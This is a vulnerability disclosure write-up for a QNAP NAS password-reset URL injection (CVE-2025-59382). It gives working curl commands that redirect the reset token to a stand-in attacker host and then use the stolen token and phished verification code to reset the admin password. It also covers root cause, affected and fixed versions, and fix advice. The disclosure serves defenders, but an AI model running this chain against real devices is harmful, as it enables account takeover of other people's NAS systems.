CVE-2025-59382: QNAP Password Reset to Account Takeover

Unauthenticated attacker-controlled password reset URL in /cgi-bin/reset_password.cgi.

Tested against QuTScloud c5.2.4.3041 build 20250211 in a lab. QNAP later published this as CVE-2025-59382 in advisory QSA-26-10.

Short version

An unauthenticated attacker with local network access, or access to an exposed NAS management interface, can inject an arbitrary URL into the official QNAP password reset email by manipulating the url parameter of the send_mail function in /cgi-bin/reset_password.cgi.

The victim receives a real QNAP password reset email from the NAS. The attacker URL is embedded directly into the HTML email body, and QNAP appends the reset token (rp) to that URL.

This turns the password reset email into a nice clean phishing-to-account-takeover chain:

1. attacker triggers password reset with their own URL
2. NAS sends the real QNAP reset email to the victim
3. victim clicks the attacker URL
4. attacker receives the rp reset token
5. victim enters the verification code (vc) into the phishing page
6. attacker resets the admin password and logs in

Needs victim interaction, but no attacker auth.

Trigger

curl "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"

The NAS sends the official reset email and appends the reset token to the attacker URL, for example:

https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44

The verification code is also shown in the same email. In the lab evidence it looked like this:

Your verification code is: 2FEA2B8B

So the phishing page only has to ask the victim for the verification code. The rp token already lands on the attacker's server when the link is clicked.

Password reset

Once the attacker has the rp token and the associated vc verification code, they can reset the admin password:

curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
  "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi"

The final reset call has to be a POST. The verification code the victim enters on the fake page is sent to QNAP as vc=<code>.

The new password is base64 encoded in new_pw. In the PoC this was enough to change the admin password and then log in as admin.

Why it works

The normal frontend flow builds a local NAS URL like:

location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"

But the backend trusts the client-supplied url parameter instead of generating the reset URL itself. It then builds the email link using that value and appends:

&u=<user>&rp=<reset_token>

It just trusts whatever gets passed in as url.

Impact

• unauthenticated reset email trigger
• official QNAP email contains attacker-controlled URL
• reset token leaks to attacker when victim clicks
• verification code can be phished from the same email flow
• lab chain proved admin password reset and admin login

The trusted NAS email is doing the delivery.

Public status

• CVE: CVE-2025-59382
• Advisory: QSA-26-10
• QNAP advisory release date: 2026-06-17
• Vendor CWE: CWE-472
• Vendor CVSS v4.0: 5.1 Medium
• QNAP status: resolved

QNAP lists the affected products as:

• QTS 5.2.7
• QuTS hero h5.2.8
• QuTS cloud c5.2.8
• QVP 2.7.1

Fixed versions listed by QNAP:

• QTS 5.2.9.3499
• QuTS hero h5.2.9
• QuTS cloud C5.2.9
• QVP 2.8.0

QNAP described the issue as a remote attacker modifying the password reset URL and tricking a victim into visiting an attacker-controlled reset page, leading to credential theft.

My own lab target was QuTScloud c5.2.4.3041 build 20250211. My lab impact was admin password reset and admin login after victim interaction.

Small note: I reproduced this in my lab on 2026-05-09 and sent it to QNAP on 2026-05-11; they marked it as a duplicate of INTSI000-9029. Since QNAP has now published the CVE/advisory, I am publishing the POC. Credits to Tim Coen as the first to find.

What I would fix

I do not know the exact patch QNAP used. Their advisory only lists fixed versions.

My guess for the right fix is simple: do not let the browser tell the NAS where the reset link should point.

The NAS should build that link itself. If QNAP still needs a url parameter for the flow, it should only accept the normal NAS reset page and reject anything external.

I would also encode anything that gets dropped into the email body, and put some rate limiting around unauthenticated reset email requests.

References

• QNAP advisory: https://www.qnap.com/en/security-advisory/qsa-26-10
• QNAP CVE JSON: https://www.qnap.com/uploads/security-advisories/QSA-26-10/CVE-2025-59382.json
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-59382
• CVE record: https://www.cve.org/CVERecord?id=CVE-2025-59382

---

Disclaimer: This exploit code is published for educational and defensive research purposes. Do not use it against systems you do not own or have explicit authorization to test. The author is not responsible for misuse.

Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online